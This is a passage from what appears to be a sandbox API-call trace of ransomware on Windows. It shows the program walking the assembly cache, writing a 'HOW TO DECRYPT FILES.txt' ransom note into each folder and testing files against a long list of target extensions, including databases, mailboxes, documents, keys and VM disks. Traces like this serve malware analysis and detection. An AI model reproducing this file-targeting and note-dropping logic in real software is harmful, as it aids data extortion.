ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9292bcb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="napinit.Resources.dll", cAlternateFileName="")) returned 0 [0100.624] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.624] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0_en_31bf3856ad364e35", cAlternateFileName="610~1.0_E")) returned 0 [0100.624] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.624] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61006e, dwReserved1=0x690070, cFileName="napsnap", cAlternateFileName="")) returned 1 [0100.624] lstrcmpA (lpString1=".", lpString2="napsnap") returned -1 [0100.624] lstrcmpA (lpString1="..", lpString2="napsnap") returned -1 [0100.624] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.624] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="napsnap" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napsnap") returned="C:\\Windows\\assembly\\GAC_MSIL\\napsnap" [0100.624] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.625] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.625] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.625] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.625] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.625] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 1 [0100.625] lstrcmpA (lpString1=".", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0100.625] lstrcmpA (lpString1="..", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0100.625] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\*.*") returned="*.*" [0100.625] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\", lpString2="6.1.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35" [0100.625] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.625] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.626] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.626] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.626] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.626] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6d85350, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0xb1b14900, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x74540665, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x6f000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="NAPSNAP.DLL", cAlternateFileName="")) returned 1 [0100.626] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.626] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NAPSNAP.DLL") returned -1 [0100.626] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NAPSNAP.DLL") returned -1 [0100.626] lstrcmpiA (lpString1="", lpString2="NAPSNAP.DLL") returned -1 [0100.626] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0100.626] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\" [0100.626] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\") returned="" [0100.626] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.626] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\napsnap\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.626] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\napsnap\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.627] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.628] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.629] CloseHandle (hObject=0x90) returned 1 [0100.629] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\", lpString2="NAPSNAP.DLL" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL") returned="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL" [0100.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.ems") returned 0 [0100.629] lstrlenA (lpString="*.ems") returned 5 [0100.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.db") returned 0 [0100.629] lstrlenA (lpString="*.db") returned 4 [0100.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.dbf") returned 0 [0100.629] lstrlenA (lpString="*.dbf") returned 5 [0100.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.myox") returned 0 [0100.629] lstrlenA (lpString="*.myox") returned 6 [0100.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.myo") returned 0 [0100.629] lstrlenA (lpString="*.myo") returned 5 [0100.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.qbw") returned 0 [0100.629] lstrlenA (lpString="*.qbw") returned 5 [0100.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.qbb") returned 0 [0100.629] lstrlenA (lpString="*.qbb") returned 5 [0100.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.qbm") returned 0 [0100.629] lstrlenA (lpString="*.qbm") returned 5 [0100.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.qbo") returned 0 [0100.629] lstrlenA (lpString="*.qbo") returned 5 [0100.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.qbx") returned 0 [0100.629] lstrlenA (lpString="*.qbx") returned 5 [0100.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.qba") returned 0 [0100.630] lstrlenA (lpString="*.qba") returned 5 [0100.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.qby") returned 0 [0100.630] lstrlenA (lpString="*.qby") returned 5 [0100.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.qbj") returned 0 [0100.630] lstrlenA (lpString="*.qbj") returned 5 [0100.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.ofx") returned 0 [0100.630] lstrlenA (lpString="*.ofx") returned 5 [0100.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.qif") returned 0 [0100.630] lstrlenA (lpString="*.qif") returned 5 [0100.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.mye") returned 0 [0100.630] lstrlenA (lpString="*.mye") returned 5 [0100.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.mbox") returned 0 [0100.630] lstrlenA (lpString="*.mbox") returned 6 [0100.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.eml") returned 0 [0100.630] lstrlenA (lpString="*.eml") returned 5 [0100.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.pst") returned 0 [0100.630] lstrlenA (lpString="*.pst") returned 5 [0100.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.ost") returned 0 [0100.630] lstrlenA (lpString="*.ost") returned 5 [0100.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.idx") returned 0 [0100.630] lstrlenA (lpString="*.idx") returned 5 [0100.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.dbx") returned 0 [0100.630] lstrlenA (lpString="*.dbx") returned 5 [0100.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.sql") returned 0 [0100.630] lstrlenA (lpString="*.sql") returned 5 [0100.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.mdb") returned 0 [0100.630] lstrlenA (lpString="*.mdb") returned 5 [0100.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.fdb") returned 0 [0100.631] lstrlenA (lpString="*.fdb") returned 5 [0100.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.wab") returned 0 [0100.631] lstrlenA (lpString="*.wab") returned 5 [0100.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.dat") returned 0 [0100.631] lstrlenA (lpString="*.dat") returned 5 [0100.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.txt") returned 0 [0100.631] lstrlenA (lpString="*.txt") returned 5 [0100.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.jpeg") returned 0 [0100.631] lstrlenA (lpString="*.jpeg") returned 6 [0100.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.jpg") returned 0 [0100.631] lstrlenA (lpString="*.jpg") returned 5 [0100.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.png") returned 0 [0100.631] lstrlenA (lpString="*.png") returned 5 [0100.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.php") returned 0 [0100.631] lstrlenA (lpString="*.php") returned 5 [0100.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.cs") returned 0 [0100.631] lstrlenA (lpString="*.cs") returned 4 [0100.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.cpp") returned 0 [0100.631] lstrlenA (lpString="*.cpp") returned 5 [0100.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.rar") returned 0 [0100.631] lstrlenA (lpString="*.rar") returned 5 [0100.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.zip") returned 0 [0100.631] lstrlenA (lpString="*.zip") returned 5 [0100.631] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.html") returned 0 [0100.631] lstrlenA (lpString="*.html") returned 6 [0100.632] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.htm") returned 0 [0100.632] lstrlenA (lpString="*.htm") returned 5 [0100.632] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.xlsx") returned 0 [0100.632] lstrlenA (lpString="*.xlsx") returned 6 [0100.632] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.xls") returned 0 [0100.632] lstrlenA (lpString="*.xls") returned 5 [0100.632] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.mp4") returned 0 [0100.632] lstrlenA (lpString="*.mp4") returned 5 [0100.632] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.ppt") returned 0 [0100.632] lstrlenA (lpString="*.ppt") returned 5 [0100.632] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.pptx") returned 0 [0100.632] lstrlenA (lpString="*.pptx") returned 6 [0100.632] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.doc") returned 0 [0100.632] lstrlenA (lpString="*.doc") returned 5 [0100.632] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.dot") returned 0 [0100.632] lstrlenA (lpString="*.dot") returned 5 [0100.632] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.docx") returned 0 [0100.632] lstrlenA (lpString="*.docx") returned 6 [0100.632] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.7z") returned 0 [0100.632] lstrlenA (lpString="*.7z") returned 4 [0100.632] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.tar") returned 0 [0100.632] lstrlenA (lpString="*.tar") returned 5 [0100.632] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.bz2") returned 0 [0100.633] lstrlenA (lpString="*.bz2") returned 5 [0100.633] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.gz") returned 0 [0100.633] lstrlenA (lpString="*.gz") returned 4 [0100.633] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.mkv") returned 0 [0100.633] lstrlenA (lpString="*.mkv") returned 5 [0100.633] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.eml") returned 0 [0100.633] lstrlenA (lpString="*.eml") returned 5 [0100.633] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.msg") returned 0 [0100.633] lstrlenA (lpString="*.msg") returned 5 [0100.633] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.edb") returned 0 [0100.633] lstrlenA (lpString="*.edb") returned 5 [0100.633] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.accdb") returned 0 [0100.633] lstrlenA (lpString="*.accdb") returned 7 [0100.633] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.odb") returned 0 [0100.633] lstrlenA (lpString="*.odb") returned 5 [0100.633] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.java") returned 0 [0100.633] lstrlenA (lpString="*.java") returned 6 [0100.633] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.asm") returned 0 [0100.633] lstrlenA (lpString="*.asm") returned 5 [0100.633] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.pfx") returned 0 [0100.633] lstrlenA (lpString="*.pfx") returned 5 [0100.634] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.pem") returned 0 [0100.634] lstrlenA (lpString="*.pem") returned 5 [0100.634] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.p12") returned 0 [0100.634] lstrlenA (lpString="*.p12") returned 5 [0100.634] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.gpg") returned 0 [0100.634] lstrlenA (lpString="*.gpg") returned 5 [0100.634] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.vsd") returned 0 [0100.634] lstrlenA (lpString="*.vsd") returned 5 [0100.634] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.odg") returned 0 [0100.634] lstrlenA (lpString="*.odg") returned 5 [0100.634] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.raw") returned 0 [0100.634] lstrlenA (lpString="*.raw") returned 5 [0100.634] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.nef") returned 0 [0100.634] lstrlenA (lpString="*.nef") returned 5 [0100.634] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.svg") returned 0 [0100.634] lstrlenA (lpString="*.svg") returned 5 [0100.634] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.psd") returned 0 [0100.634] lstrlenA (lpString="*.psd") returned 5 [0100.634] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.vmx") returned 0 [0100.634] lstrlenA (lpString="*.vmx") returned 5 [0100.634] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.vmdk") returned 0 [0100.634] lstrlenA (lpString="*.vmdk") returned 6 [0100.634] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.vdi") returned 0 [0100.634] lstrlenA (lpString="*.vdi") returned 5 [0100.634] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.lay6") returned 0 [0100.634] lstrlenA (lpString="*.lay6") returned 6 [0100.634] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.mpeg") returned 0 [0100.634] lstrlenA (lpString="*.mpeg") returned 6 [0100.635] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\napsnap\\6.1.0.0__31bf3856ad364e35\\NAPSNAP.DLL", pszSpec="*.djvu") returned 0 [0100.635] lstrlenA (lpString="*.djvu") returned 6 [0100.635] PathMatchSpecA 